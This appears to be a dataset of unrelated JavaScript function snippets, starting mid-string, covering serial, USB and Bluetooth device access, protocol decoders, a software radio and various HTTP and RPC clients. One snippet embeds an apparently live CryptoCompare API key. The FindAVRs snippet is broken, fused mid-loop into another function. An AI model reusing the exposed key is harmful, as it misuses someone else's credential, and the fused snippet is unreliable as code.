\" + textstr\n \n }\n}","function cerial() {\n getPortInfo()\n .then( (portDetails) => handleSensor(portDetails))\n .catch((error) => console.log(error));\n // port.write('ROBOT PLEASE RESPOND\\n');\n // The parser will emit any string response\n}","function get24HBTCData() {\r\n\tvar result;\r\n\tvar request = new XMLHttpRequest();\r\n\trequest.open('GET',\r\n\t\t'https://min-api.cryptocompare.com/data/v2/histohour?fsym=BTC&tsym=USD&limit=24&api_key=45419ed9fb65b31861ccb009765d97bb619e9eccedc722044457d066cbfb0a8b', false)\r\n\trequest.send(null);\r\n\tresult = JSON.parse(request.responseText);\r\n\treturn result;\r\n}","function getHSDevices(filter,cbfunc){\n var options = {\n hostname: hsserver,\n path: '/jsonapi.asp?action=getdevices&filter='+filter+'&verbose=yes',\n port: hsport,\n headers: {\n 'Authorization': auth\n }\n };\n\n http.get(options, function(response) {\n var body = '';\n response.on('data', function(d) {body += d;});\n response.on('end', function() {cbfunc(JSON.parse(body));});\n\t response.on(\"error\",function(e){log(\"Got error: \" + e.message); });\n });\n}","function Bus_Phase(decoder_items) // 65001-65006\n{\n var str = \"\";\n switch (data_nb)\n {\n case 0 :\n {\n start_item = decoder_items.start_sample_index;\n multi_byte_value = hex_value;\n skip_item = true;\n break;\n }\n case 1 :\n {\n multi_byte_value += (hex_value<<8);\n ScanaStudio.dec_item_new(decoder_items.channel_index,start_item, decoder_items.end_sample_index);\n ScanaStudio.dec_item_add_content(\"Line-Line AC RMS Voltage : \" + (multi_byte_value.toString().replace(/(\\d)(?=(\\d{3})+\\b)/g,'$1 ')) + \" V\");\n ScanaStudio.dec_item_add_content((multi_byte_value.toString().replace(/(\\d)(?=(\\d{3})+\\b)/g,'$1 ')) + \" V\");\n ScanaStudio.dec_item_end();\n // Packet View\n ScanaStudio.packet_view_add_packet(false,\n decoder_items.channel_index,\n start_item,\n decoder_items.end_sample_index,\n \"Data\",\n (\"Line-Line Voltage : \" + (multi_byte_value.toString().replace(/(\\d)(?=(\\d{3})+\\b)/g,'$1 ')) + \" V\"),\n ScanaStudio.PacketColors.Data.Title,\n ScanaStudio.PacketColors.Data.Content);\n skip_item = true;\n break;\n }\n case 2 :\n {\n start_item = decoder_items.start_sample_index;\n multi_byte_value = hex_value;\n skip_item = true;\n break;\n }\n case 3 :\n {\n multi_byte_value += (hex_value<<8);\n ScanaStudio.dec_item_new(decoder_items.channel_index,start_item, decoder_items.end_sample_index);\n ScanaStudio.dec_item_add_content(\"Line-Neutral AC RMS Voltage : \" + (multi_byte_value.toString().replace(/(\\d)(?=(\\d{3})+\\b)/g,'$1 ')) + \" V\");\n ScanaStudio.dec_item_add_content((multi_byte_value.toString().replace(/(\\d)(?=(\\d{3})+\\b)/g,'$1 ')) + \" V\");\n ScanaStudio.dec_item_end();\n // Packet View\n ScanaStudio.packet_view_add_packet(false,\n decoder_items.channel_index,\n start_item,\n decoder_items.end_sample_index,\n \"Data\",\n (\"Line-Neutral Voltage : \" + (multi_byte_value.toString().replace(/(\\d)(?=(\\d{3})+\\b)/g,'$1 ')) + \" V\"),\n ScanaStudio.PacketColors.Data.Title,\n ScanaStudio.PacketColors.Data.Content);\n skip_item = true;\n break;\n }\n case 4 :\n {\n start_item = decoder_items.start_sample_index;\n multi_byte_value = hex_value;\n skip_item = true;\n break;\n }\n case 5 :\n {\n multi_byte_value += (hex_value<<8);\n multi_byte_value = Math.floor(multi_byte_value/128);\n ScanaStudio.dec_item_new(decoder_items.channel_index,start_item, decoder_items.end_sample_index);\n ScanaStudio.dec_item_add_content(\"AC Frequency : \" + multi_byte_value + \"Hz\");\n ScanaStudio.dec_item_add_content(multi_byte_value + \" kWh\");\n ScanaStudio.dec_item_end();\n // Packet View\n ScanaStudio.packet_view_add_packet(false,\n decoder_items.channel_index,\n start_item,\n decoder_items.end_sample_index,\n \"Data\",\n (\"AC Frequency : \" + multi_byte_value + \"Hz\"),\n ScanaStudio.PacketColors.Data.Title,\n ScanaStudio.PacketColors.Data.Content);\n skip_item = true;\n break;\n }\n default :\n {\n packet_title = \"Filled Data\";\n if (hex_value == 255)\n {\n item_content = \"Filled with 0xFF\";\n }\n else\n {\n item_content = \"0x\" + pad(hex_value.toString(16),2) + \", should be 0xFF\";\n types_title = ScanaStudio.PacketColors.Error.Title;\n types_content = ScanaStudio.PacketColors.Error.Content;\n }\n break;\n }\n }//end switch (data_nb)\n}//end function Bus_Phase_C","function proprietary_fast_packet (decoder_items) //126720/130816/130817/130818/130819/130820/130821/130824/130827/130828/130831/130832/130834/130835/130836/130837/130838/130839/130840/130842/130843/130845/130847/130850/130851/130856/130880/130881/130944\n{\n var str = \"\";\n switch (fast_packet_byte)\n {\n case 1 :\n {\n start_item = decoder_items.start_sample_index;\n multi_byte_value = hex_value;\n skip_item = true;\n break;\n }\n case 2 :\n {\n var manufacturer_code = multi_byte_value + (((hex_value>>5)&0x7)<<8);\n var reserved = (hex_value>>3)&0x3;\n var industry_code = hex_value&0x7;\n end_item = decoder_items.start_sample_index + (decoder_items.end_sample_index - decoder_items.start_sample_index)/8*3;\n str = LOOKUP_MANUFACTURER(manufacturer_code);\n ScanaStudio.dec_item_new(decoder_items.channel_index, start_item, end_item);\n ScanaStudio.dec_item_add_content(\"Manufacturer Code : \" + str);\n ScanaStudio.dec_item_add_content(\"\" + str);\n ScanaStudio.dec_item_add_content(str);\n ScanaStudio.dec_item_end();\n // Packet View\n ScanaStudio.packet_view_add_packet(false,\n decoder_items.channel_index,\n start_item,\n end_item,\n \"Fast Packet Data\",\n (\"Manufacturer Code : \" + str),\n ScanaStudio.PacketColors.Data.Title,\n ScanaStudio.PacketColors.Data.Content);\n start_item = end_item;\n end_item = decoder_items.start_sample_index + (decoder_items.end_sample_index - decoder_items.start_sample_index)/8*5;\n ScanaStudio.dec_item_new(decoder_items.channel_index, start_item, end_item);\n ScanaStudio.dec_item_add_content(\"Reserved : 0x\" + pad(reserved.toString(16),1));\n ScanaStudio.dec_item_add_content(\"Reserved\");\n ScanaStudio.dec_item_end();\n // Packet View\n ScanaStudio.packet_view_add_packet(false,\n decoder_items.channel_index,\n start_item,\n end_item,\n \"Fast Packet Data\",\n (\"Reserved : 0x\" + pad(reserved.toString(16),1)),\n ScanaStudio.PacketColors.Data.Title,\n ScanaStudio.PacketColors.Data.Content);\n str = LOOKUP_INDUSTRY_CODE(industry_code);\n ScanaStudio.dec_item_new(decoder_items.channel_index, end_item, decoder_items.end_sample_index);\n ScanaStudio.dec_item_add_content(\"Industry Code : \" + str);\n ScanaStudio.dec_item_add_content(str);\n ScanaStudio.dec_item_end();\n // Packet View\n ScanaStudio.packet_view_add_packet(false,\n decoder_items.channel_index,\n end_item,\n decoder_items.end_sample_index,\n \"Fast Packet Data\",\n (\"Industry Code : \" + str),\n ScanaStudio.PacketColors.Data.Title,\n ScanaStudio.PacketColors.Data.Content);\n skip_item = true;\n break;\n }\n default :\n {\n packet_title = \"Byte n°\" + fast_packet_byte;\n item_content = \"0x\" + pad(hex_value.toString(16),2);\n break;\n }\n }\n}","loadSample(url, name, callback)\n {\n let request = new XMLHttpRequest();\n request.open('GET', url, true);\n request.responseType = 'arraybuffer';\n request.onload = function()\n {\n let audioData = request.response;\n drummachineInst.audioContext.decodeAudioData(audioData, function(buffer)\n {\n callback(buffer,name);\n });\n };\n request.send();\n }","function GetDeviceIP(){\n showBackgroundImage('wait_message');\n getContent('','/cgi-bin/setup.cgi?GetDeviceIP','function:ShowGetDeviceIP');\n}","function BYB_GetBalance() { \n var bybrequest = {\n \"id\" : \"BYB\",\n \"name\" : \"Bybit\",\n \"apikey\" : '•••••••••',\n \"secret\" : '•••••••••',\n \"command\" : \"/open-api/wallet/fund/records\",\n // \"uri\" : \"https://api.bybit.com\",\n \"uri\" : \"api-testnet.bybit.com\",\n \"apiversion\" : \"/v1/\",\n \"method\" : \"get\",\n \"payload\" : \"\"\n }; \n\n var response = BYB_PrivateRequest(bybrequest);\n Logger.log( JSON.parse(UrlFetchApp.fetch(response.uri, response.params)) );\n}","function processDeviceCommand(request, response) {\n\t\n\tvar deviceIP = request.headers[\"tuyapi-ip\"]\n\tvar deviceID = request.headers[\"tuyapi-devid\"]\n\tvar localKey = request.headers[\"tuyapi-localkey\"]\n\tvar command = request.headers[\"tuyapi-command\"] \n\n\t//var respMsg = \"deviceCommand sending to deviceID: \" + deviceID + \" Command: \" + command;\n\tvar respMsg = \"deviceCommand sending to IP: \" + deviceIP + \" Command: \" + command;\n\tconsole.log(respMsg);\n\n\tvar device = new TuyaDevice({\n\t //ip: deviceIP,\n\t id: deviceID,\n\t key: localKey\n\t , issueGetOnConnect: false\n\t});\n\n\tdevice.on('error', error => {\n\t\tconsole.log('Error!', error);\n\t});\n\n\t(async () => {\n\t\tawait device.find();\t \n\n\t\tawait device.connect();\t \n\t\tconsole.log('Connected to device!');\n\t\tlet status = await device.get();\t \n\t\tconsole.log(`Current status: ${status}.`);\t\n\t\tswitch(command) {\n\t\t\tcase \"off\":\t\n\t\t\t\tconsole.log('Setting to false!');\n\t\t\t\tawait device.set({set: false});\n\t\t\tbreak\n\t\t\tcase \"on\":\n\t\t\t\tconsole.log('Setting to true!');\n\t\t\t\tawait device.set({set: true});\n\t\t\tbreak\n\t\t\tcase \"status\":\t\n\t\t\t\tconsole.log('Received status request!');\n\t\t\tbreak\n\t\t}\n\t\tstatus = await device.get(); \t\t \n\t\tconsole.log(`New status: ${status}.`);\t \n\t\tdevice.disconnect();\n\n\t\ttry{\n\t\t\tconsole.log(\"Sending Status to SmartThings:\" +status);\t\n\t\t\tresponse.setHeader(\"tuyapi-onoff\", status);\n\t\t\tresponse.setHeader(\"cmd-response\", status);\n\t\t\tresponse.end();\n\t\t\tconsole.log(\"Status sent to SmartThings:\" +status);\t\n\t\t}catch (err){\n\t\t\tconsole.log(\"Error:\" +err);\t\n\t\t}\n\t})();\t\n}","prepare() {\n if (!navigator.bluetooth) {\n this.log_.warn('Bluetooth Web support is not available!');\n return;\n } else if (this.prepared) {\n return;\n }\n\n this.log_.debug('Preparing Bluetooth LowEnergy support...');\n this.devices_.prepare();\n\n this.prepared = true;\n }","function RadioController() {\n\n var TUNER = {'vendorId': 0x0bda, 'productId': 0x2838};\n var SAMPLE_RATE = 2048000;\n var BUFS_PER_SEC = 5;\n var SAMPLES_PER_BUF = Math.floor(SAMPLE_RATE / BUFS_PER_SEC);\n var NULL_FUNC = function(){};\n var STATE = {\n OFF: 0,\n STARTING: 1,\n PLAYING: 2,\n STOPPING: 3,\n CHG_FREQ: 4,\n SCANNING: 5\n };\n var SUBSTATE = {\n USB: 1,\n TUNER: 2,\n ALL_ON: 3,\n TUNING: 4,\n PLAYING: 5\n };\n\n var decoder = new Worker('decode-worker.js');\n var player = new Player();\n var state = new State(STATE.OFF);\n var requestingBlocks = 0;\n var playingBlocks = 0;\n var frequency = 88500000;\n var stereo = true;\n var stereoEnabled = true;\n var errorHandler;\n var tuner;\n var connection;\n var ui;\n\n /**\n * Starts playing the radio.\n * @param {Function=} opt_callback A function to call when the radio\n * starts playing.\n */\n function start(opt_callback) {\n if (state.state == STATE.OFF) {\n state = new State(STATE.STARTING, SUBSTATE.USB, opt_callback);\n chrome.permissions.request(\n {'permissions': [{'usbDevices': [TUNER]}]},\n function(res) {\n if (!res) {\n state = new State(STATE.OFF);\n throwError('This app has no permission to access the USB ports.');\n } else {\n processState();\n }\n });\n } else if (state.state == STATE.STOPPING || state.state == STATE.STARTING) {\n state = new State(STATE.STARTING, state.substate, opt_callback);\n }\n }\n\n /**\n * Stops playing the radio.\n * @param {Function=} opt_callback A function to call after the radio\n * stops playing.\n */\n function stop(opt_callback) {\n if (state.state == STATE.OFF) {\n opt_callback && opt_callback();\n } else if (state.state == STATE.STARTING || state.state == STATE.STOPPING) {\n state = new State(STATE.STOPPING, state.substate, opt_callback);\n } else if (state.state != STATE.STOPPING) {\n state = new State(STATE.STOPPING, SUBSTATE.ALL_ON, opt_callback);\n }\n }\n\n /**\n * Tunes to another frequency.\n * @param {number} freq The new frequency in Hz.\n */\n function setFrequency(freq) {\n if (state.state == STATE.PLAYING || state.state == STATE.CHG_FREQ\n || state.state == STATE.SCANNING) {\n state = new State(STATE.CHG_FREQ, null, freq);\n } else {\n frequency = freq;\n ui && ui.update();\n }\n }\n\n /**\n * Returns the currently tuned frequency.\n * @return {number} The current frequency in Hz.\n */\n function getFrequency() {\n return frequency;\n }\n\n /**\n * Searches a given frequency band for a station, starting at the\n * current frequency.\n * @param {number} min The minimum frequency, in Hz.\n * @param {number} max The maximum frequency, in Hz.\n * @param {number} step The step between stations, in Hz. The step's sign\n * determines the scanning direction.\n */\n function scan(min, max, step) {\n if (state.state == STATE.PLAYING || state.state == STATE.SCANNING) {\n var param = {\n min: min,\n max: max,\n step: step,\n start: frequency\n };\n state = new State(STATE.SCANNING, SUBSTATE.TUNING, param);\n }\n }\n\n /**\n * Returns whether the radio is doing a frequency scan.\n * @return {boolean} Whether the radio is doing a frequency scan.\n */\n function isScanning() {\n return state.state == STATE.SCANNING;\n }\n\n /**\n * Returns whether the radio is currently playing.\n * @param {boolean} Whether the radio is currently playing.\n */\n function isPlaying() {\n return state.state != STATE.OFF && state.state != STATE.STOPPING;\n }\n\n /**\n * Returns whether the radio is currently stopping.\n * @param {boolean} Whether the radio is currently stopping.\n */\n function isStopping() {\n return state.state == STATE.STOPPING;\n }\n\n /**\n * Returns whether a stereo signal is being decoded.\n * @param {boolean} Whether a stereo signal is being decoded.\n */\n function isStereo() {\n return stereo;\n }\n\n /**\n * Enables or disables stereo decoding.\n * @param {boolean} enable Whether stereo decoding should be enabled.\n */\n function enableStereo(enable) {\n stereoEnabled = enable;\n ui && ui.update();\n }\n\n /**\n * Returns whether stereo decoding is enabled.\n * @return {boolean} Whether stereo decoding is enabled.\n */\n function isStereoEnabled() {\n return stereoEnabled;\n }\n\n /**\n * Saves a reference to the current user interface controller.\n * @param {Object} iface The controller. Must have an update() method.\n */\n function setInterface(iface) {\n ui = iface;\n }\n\n /**\n * Sets a function to be called when there is an error.\n * @param {Function} handler The function to call. Its only parameter\n * is the error message.\n */\n function setOnError(handler) {\n errorHandler = handler;\n }\n\n /**\n * Handles an error.\n * @param {string} msg The error message.\n */\n function throwError(msg) {\n if (errorHandler) {\n errorHandler(msg);\n } else {\n throw msg;\n }\n }\n\n /**\n * Starts the decoding pipeline.\n */\n function startPipeline() {\n // In this way we read one block while we decode and play another.\n if (state.state == STATE.PLAYING) {\n processState();\n }\n processState();\n }\n\n /**\n * Performs the appropriate action according to the current state.\n */\n function processState() {\n if (state.state == STATE.STARTING) {\n if (state.substate == SUBSTATE.USB) {\n state = new State(STATE.STARTING, SUBSTATE.TUNER, state.param);\n chrome.usb.findDevices(TUNER,\n function(conns) {\n if (conns.length == 0) {\n state = new State(STATE.OFF);\n throwError('USB tuner device not found. The Radio Receiver ' +\n 'app needs an RTL2832U-based DVB-T dongle ' +\n '(with an R820T tuner chip) to work.');\n } else {\n connection = conns[0];\n processState();\n }\n });\n } else if (state.substate == SUBSTATE.TUNER) {\n state = new State(STATE.STARTING, SUBSTATE.ALL_ON, state.param);\n tuner = new RTL2832U(connection);\n tuner.setOnError(throwError);\n tuner.open(function() {\n tuner.setSampleRate(SAMPLE_RATE, function(rate) {\n tuner.setCenterFrequency(frequency, function() {\n processState();\n })})});\n } else if (state.substate == SUBSTATE.ALL_ON) {\n var cb = state.param;\n state = new State(STATE.PLAYING);\n tuner.resetBuffer(function() {\n cb && cb();\n ui && ui.update();\n startPipeline();\n });\n }\n } else if (state.state == STATE.PLAYING) {\n ++requestingBlocks;\n tuner.readSamples(SAMPLES_PER_BUF, function(data) {\n --requestingBlocks;\n if (state.state == STATE.PLAYING) {\n if (playingBlocks <= 2) {\n ++playingBlocks;\n decoder.postMessage([data, stereoEnabled]);\n }\n }\n processState();\n });\n } else if (state.state == STATE.CHG_FREQ) {\n if (requestingBlocks > 0) {\n return;\n }\n frequency = state.param;\n ui && ui.update();\n tuner.setCenterFrequency(frequency, function() {\n tuner.resetBuffer(function() {\n state = new State(STATE.PLAYING);\n startPipeline();\n })});\n } else if (state.state == STATE.SCANNING) {\n if (requestingBlocks > 0) {\n return;\n }\n var param = state.param;\n if (state.substate == SUBSTATE.TUNING) {\n frequency += param.step;\n if (frequency > param.max) {\n frequency = param.min;\n } else if (frequency < param.min) {\n frequency = param.max;\n }\n ui && ui.update();\n state = new State(STATE.SCANNING, SUBSTATE.PLAYING, param);\n tuner.setCenterFrequency(frequency, function() {\n tuner.resetBuffer(processState);\n });\n } else if (state.substate == SUBSTATE.PLAYING) {\n if (frequency == param.start) {\n state = new State(STATE.PLAYING);\n startPipeline();\n return;\n }\n state = new State(STATE.SCANNING, SUBSTATE.TUNING, param);\n var scanData = {\n 'scanning': true,\n 'frequency': frequency\n };\n ++requestingBlocks;\n tuner.readSamples(SAMPLES_PER_BUF, function(data) {\n --requestingBlocks;\n if (state.state == STATE.SCANNING) {\n ++playingBlocks;\n decoder.postMessage([data, stereoEnabled, scanData]);\n }\n processState();\n });\n }\n } else if (state.state == STATE.STOPPING) {\n if (state.substate == SUBSTATE.ALL_ON) {\n if (requestingBlocks > 0) {\n return;\n }\n state = new State(STATE.STOPPING, SUBSTATE.TUNER, state.param);\n ui && ui.update();\n tuner.close(function() {\n processState();\n });\n } else if (state.substate == SUBSTATE.TUNER) {\n state = new State(STATE.STOPPING, SUBSTATE.USB, state.param);\n chrome.usb.closeDevice(connection, function() {\n processState();\n });\n } else if (state.substate == SUBSTATE.USB) {\n var cb = state.param;\n state = new State(STATE.OFF);\n cb && cb();\n ui && ui.update();\n }\n }\n }\n\n /**\n * Receives the sound from the demodulator and plays it.\n * @param {Event} msg The data sent by the demodulator.\n */\n decoder.onmessage = function(msg) {\n --playingBlocks;\n var newStereo = !!msg.data[1];\n if (newStereo != stereo) {\n stereo = newStereo;\n ui && ui.update();\n }\n player.play(msg.data[0], msg.data[1]);\n if (state.state == STATE.SCANNING && msg.data[2] && msg.data[2]['scanning']) {\n if (overload(msg.data[0]) < 0.075) {\n setFrequency(msg.data[2].frequency);\n }\n }\n };\n\n /**\n * Calculates the proportion of samples above maximum amplitude.\n * @param {Samples} samples The audio stream.\n * @param {number} The proportion of samples above the maximum amplitude.\n */\n function overload(samples) {\n var count = 0;\n for (var i = 0; i < samples.data.length; ++i) {\n if (samples.data[i] > 1 || samples.data[i] < -1) {\n ++count;\n }\n }\n return count / samples.data.length;\n }\n\n /**\n * Constructs a state object.\n * @param {number} state The state.\n * @param {number=} opt_substate The sub-state.\n * @param {*=} opt_param The state's parameter.\n */\n function State(state, opt_substate, opt_param) {\n return {\n state: state,\n substate: opt_substate,\n param: opt_param\n };\n }\n\n return {\n start: start,\n stop: stop,\n setFrequency: setFrequency,\n getFrequency: getFrequency,\n scan: scan,\n isScanning: isScanning,\n isPlaying: isPlaying,\n isStopping: isStopping,\n isStereo: isStereo,\n enableStereo: enableStereo,\n isStereoEnabled: isStereoEnabled,\n setInterface: setInterface,\n setOnError: setOnError\n };\n}","function FindAVRs()\n{\n var devs = usb.getDeviceList();\n for (var i=0; i {\n console.log('--writeLoginSetting successfully: ',arrData);\n })\n .catch((error) => {\n console.log('--writeLoginSetting failed ',error);\n });\n }","function makeRequest(){\n var mediaRequest = {\n responseType: http$RESPONSETYPE_BINARY,\n parser: CadmiumMediaStream$_parseHeaderBoxes,\n url: _self.downloadUrls[cdn.id],\n cdn: cdn,\n track: track,\n stream: _self,\n offset: 0,\n length: _actualHeaderSize || _estimateHeaderSize(contentProfile),\n diagCaption: type + '-' + bitrate + '-hdr',\n cacheBuster: true\n };\n playback.httpPlayback.download(mediaRequest, processResponse);\n }","async sendBinaryRequest(path, params) {\n if (LibraryUtils.getLogLevel() >= 2) console.log(\"sendBinaryRequest(\" + path + \", \" + JSON.stringify(params) + \")\");\n \n // load wasm module\n await LibraryUtils.loadKeysModule();\n \n // serialize params\n let paramsBin = MoneroUtils.jsonToBinary(params);\n \n try {\n \n // send http request\n let resp = await HttpClient.request({\n method: \"POST\",\n uri: this.getUri() + '/' + path,\n username: this.getUsername(),\n password: this.getPassword(),\n body: paramsBin,\n rejectUnauthorized: this.config.rejectUnauthorized,\n requestApi: GenUtils.isFirefox() ? \"xhr\" : \"fetch\"\n });\n \n // validate response\n MoneroRpcConnection.validateHttpResponse(resp);\n \n // process response\n resp = resp.body;\n if (!(resp instanceof Uint8Array)) {\n console.error(\"resp is not uint8array\");\n console.error(resp);\n }\n if (resp.error) throw new MoneroRpcError(resp.error.message, resp.error.code, path, params);\n return resp;\n } catch (err) {\n if (err instanceof MoneroRpcError) throw err;\n else throw new MoneroRpcError(err, undefined, path, params);\n }\n }","async getData() {\n\t\t//first we have to find out all the gateways we have to query\n\t\tvar that = this;\n\t\tlet web3 = new Web3(new Web3.providers.HttpProvider(\"https://rinkeby.infura.io\"));\n\t\tlet mphr = new web3.eth.Contract(JSON.parse(mphrABI));\n\t\tmphr.options.address = this.props.profile.mphr;\n\n\t\tmphr.methods.returnGateways().call({}, function (error, result) {\n\t\t\tif(error) { throw (error); }\n\t\t\tfor(var i = 0; i < result.length; i++) {\n\t\t\t\tlet hex = result[i].toString();//force conversion\n\t\t\t\tlet gateway = '';\n\t\t\t\tfor (var j = 0; (j < hex.length && hex.substr(j, 2) !== '00'); j += 2) {\n\t\t\t\t\tgateway += String.fromCharCode(parseInt(hex.substr(j, 2), 16));\n\t\t\t\t}\n\t\t\t\tthat.request(gateway.slice(1), that.props.profile.id, \"all\");\n\t\t\t}\n\t\t});\n\t}","requestGetDeviceName() {\n if (!this.connected) { return; }\n this.writeMessage(MESSAGE_TYPE_GET_DEVICE_NAME, new Uint8Array(0));\n }","async WebGetBinaryStructures(url) {\n var r = await this._BaseWebRequest(url, \"arraybuffer\", \"GET\", null);\n var decoder = new DeltaBinaryStructuresDecoder(new DataView(r));\n decoder.Decode();\n return decoder;\n }","async function findDevice() {\n const device = await liff.bluetooth.requestDevice().catch(e => {\n flashSDKError(e);\n onScreenLog(`ERROR on requestDevice: ${e}`);\n throw e;\n });\n // onScreenLog('detect: ' + device.id);\n\n try {\n if (!deviceUUIDSet.has(device.id)) {\n deviceUUIDSet.add(device.id);\n addDeviceToList(device);\n } else {\n // TODO: Maybe this is unofficial hack > device.rssi\n document.querySelector(`#${device.id} .rssi`).innerText = device.rssi;\n }\n\n checkAvailablityAndDo(() => setTimeout(findDevice, 100));\n } catch (e) {\n onScreenLog(`ERROR on findDevice: ${e}\\n${e.stack}`);\n }\n}","async function upload( cmd_array, fastspeed = true){\n let fullflag = false\n \n if(cmd_array.length>1){\n fullflag = Boolean(parseInt(cmd_array[1]))\n }\n\n if(fastspeed){\n await blxConnectionFast()\n if(blxErrMsg) return\n }\n\n for(;;){ // Unlock Device (locked in FAST mode)\n await blxDeviceCmd('v', 5000) // Get virtual Disk Dir\n if (blxErrMsg) break\n\n if(fullflag === true){ // After 1.st true BLE cmd bec. of deviceMAC\n await blStore.remove(blxIDs.deviceMAC + '_data.edt')\n await blStore.remove(blxIDs.deviceMAC + '_data.edt.old')\n }\n \n await calcMem(true) // With adjust\n if(blxErrMsg) break\n\n terminalPrint('Available Data (Bytes): Total: ' + blxDataMem.total + ', New: ' + blxDataMem.incnew)\n\n if(blxUserCB) {\n if(fullflag) blxUserCB('UPLOAD',blxDataMem.total,'FULL') \n else blxUserCB('UPLOAD',blxDataMem.incnew,'INC') \n }\n \n await updateFile('data.edt', fullflag)\n if(blxErrMsg) break\n\n await updateFile('data.edt.old', fullflag)\n //if(blxErrMsg) break // not needed\n\n break \n } // for\n\n if(fastspeed){ // With NO data, direct CF->CS might raise GATT ERROR\n await blxConnectionSlow()\n }\n }","async function findDevice() {\n const device = await liff.bluetooth.requestDevice().catch(e => {\n flashSDKError(e);\n onScreenLog(`ERROR on requestDevice: ${e}`);\n throw e;\n });\n // onScreenLog('detect: ' + device.id);\n\n try {\n if (!deviceUUIDSet.has(device.id)) {\n deviceUUIDSet.add(device.id);\n addDeviceToList(device);\n } else {\n // TODO: Maybe this is unofficial hack > device.rssi\n document.querySelector(`#${device.id} .rssi`).innerText = device.rssi;\n }\n\n checkAvailablityAndDo(() => setTimeout(findDevice, 100));\n } catch (e) {\n onScreenLog(`ERROR on findDevice: ${e}\\n${e.stack}`);\n }\n}","function trackerRequest() {\n const buff = Buffer.alloc(16);\n buff.writeUInt32BE(0x417, 0);\n buff.writeUInt32BE(0x27101980, 4);\n buff.writeUInt32BE(0, 8);\n crypto.randomBytes(4).copy(buff, 12);\n return (buff);\n}","function calculateChallengeResponse(challenge, adminkey) {\n var objAlg =\n Windows.Security.Cryptography.Core.SymmetricKeyAlgorithmProvider\n .openAlgorithm(\n Windows.Security.Cryptography.Core.SymmetricAlgorithmNames\n .tripleDesCbc);\n\n var symetricKey = objAlg.createSymmetricKey(adminkey);\n var buffEncrypted =\n Windows.Security.Cryptography.Core.CryptographicEngine.encrypt(\n symetricKey,\n challenge,\n null);\n\n return buffEncrypted;\n }","function getConvolver () {\n const ajax = new window.XMLHttpRequest()\n\n ajax.open('GET', convolverUrl, true)\n\n ajax.responseType = 'arraybuffer'\n\n ajax.onload = function () {\n const audioData = ajax.response\n\n audioCtx.decodeAudioData(audioData, function (buffer) {\n soundSource = audioCtx.createBufferSource()\n convolver.buffer = buffer\n }, function (e) { console.log('Error with decoding audio data' + e.err) })\n\n soundSource.connect(audioCtx.destination)\n soundSource.loop = true\n soundSource.start()\n }\n\n ajax.send()\n }","function getdevicelist (dev, callback)\n{\n if (typeof (webphone_api.plhandler) !== 'undefined' && webphone_api.plhandler !== null)\n {\n if (typeof (dev) === 'undefined' || dev === null || dev.length < 1) dev = '-12';\n webphone_api.plhandler.GetDeviceList(dev, callback);\n }\n}","function Decoder(bytes, port) {\n // Decode an uplink message from a buffer\n // (array) of bytes to an object of fields.\n var decoded = {};\n\n if (! (port === 3))\n return null;\n\n // see catena-message-port3-format.md\n // i is used as the index into the message. Start with the flag byte.\n // note that there's no discriminator.\n // test vectors are also available there.\n var i = 0;\n // fetch the bitmap.\n var flags = bytes[i++];\n\n if (flags & 0x1) {\n // set Vraw to a uint16, and increment pointer\n var Vraw = (bytes[i] << 8) + bytes[i + 1];\n i += 2;\n // interpret uint16 as an int16 instead.\n if (Vraw & 0x8000)\n Vraw += -0x10000;\n // scale and save in result.\n decoded.Vbat = Vraw / 4096.0;\n }\n\n if (flags & 0x2) {\n var Vraw = (bytes[i] << 8) + bytes[i + 1];\n i += 2;\n if (Vraw & 0x8000)\n Vraw += -0x10000;\n decoded.VDD = Vraw / 4096.0;\n }\n\n if (flags & 0x4) {\n var iBoot = bytes[i];\n i += 1;\n decoded.boot = iBoot;\n }\n\n if (flags & 0x8) {\n // we have temp, pressure, RH\n var tRaw = (bytes[i] << 8) + bytes[i + 1];\n if (tRaw & 0x8000)\n tRaw = -0x10000 + tRaw;\n i += 2;\n var rhRaw = (bytes[i] << 8) + bytes[i + 1];\n i += 2;\n\n decoded.t = tRaw / 256;\n decoded.rh = rhRaw / 65535.0 * 100;\n decoded.tDew = dewpoint(decoded.t, decoded.rh);\n decoded.tHeatIndexC = CalculateHeatIndexCelsius(decoded.t, decoded.rh);\n }\n\n if (flags & 0x10) {\n // we have light irradiance info\n var irradiance = {};\n decoded.irradiance = irradiance;\n\n var lightRaw = (bytes[i] << 8) + bytes[i + 1];\n i += 2;\n irradiance.IR = lightRaw;\n\n lightRaw = (bytes[i] << 8) + bytes[i + 1];\n i += 2;\n irradiance.White = lightRaw;\n\n lightRaw = (bytes[i] << 8) + bytes[i + 1];\n i += 2;\n irradiance.UV = lightRaw;\n }\n\n if (flags & 0x20) {\n var Vraw = (bytes[i] << 8) + bytes[i + 1];\n i += 2;\n if (Vraw & 0x8000)\n Vraw += -0x10000;\n decoded.Vbus = Vraw / 4096.0;\n }\n\n // at this point, decoded has the real values.\n return decoded;\n}","function callAPI(req,res,handleResponse){\n var host = 'www.blueworkslive.com';\n var username = 'xxxx';\n var password = 'yyyy';\n var path = '/api/Auth';\n var headers = {\n 'Authorization': 'Basic ' + new Buffer(username+':'+password).toString('base64'),\n };\n var options = {\n host: host,\n path: path,\n method: 'GET',\n headers: headers\n };\n var bwlResData = {};\n console.log('BwlApiCall: Request '+options.method+' https://'+options.host+options.path);\n var bwlRequest = https.request(options, function(bwlResponse) {\n\tconsole.log(\"BwlApiCall: Response status=\"+bwlResponse.statusCode);\n\tbwlResData.status = bwlResponse.statusCode; // statusCode >= 200 and < 300 is OK\n\tbwlResData.headers = bwlResponse.headers;\n\tvar bufferData = [];\n\tbwlResponse.on('data', function(data) {\n\t bufferData.push(data);\n console.info('BwlApiCall: Response data received');\n\t});\n\tbwlResponse.on('end', function() {\n console.info('BwlApiCall: completed, calling callback');\n\t bwlResData.data = Buffer.concat(bufferData);\n\t handleResponse(req, res, bwlResData);\n });\n });\n/* if ((reqData.method == \"post\" || reqData.method == \"put\") && reqData.senddata) {\n console.log(reqData.method+' sending data: '+reqData.senddata);\n bwlRequest.write(reqData.senddata);\n } */\n bwlRequest.end();\n bwlRequest.on('error', function(e){\n console.error('BwlApiCall: REQUEST-ERROR '+e);\n });\n}","retrieveDevice(req, res) {\n res.json({ message: \"Device\", data: req.device });\n }","getDeviceDescription(deviceId, callback, retryCounter) {\n let ip;\n if (!retryCounter) retryCounter = 0;\n if (retryCounter > 2) {\n return callback && callback(new Error('timeout on response'));\n }\n if (deviceId.includes('#')) {\n if (!this.knownDevices[deviceId] || !this.knownDevices[deviceId].ip) {\n return callback && callback('device unknown');\n }\n ip = this.knownDevices[deviceId].ip;\n }\n else ip = deviceId;\n this.logger && this.logger('CoAP device description request for ' + deviceId 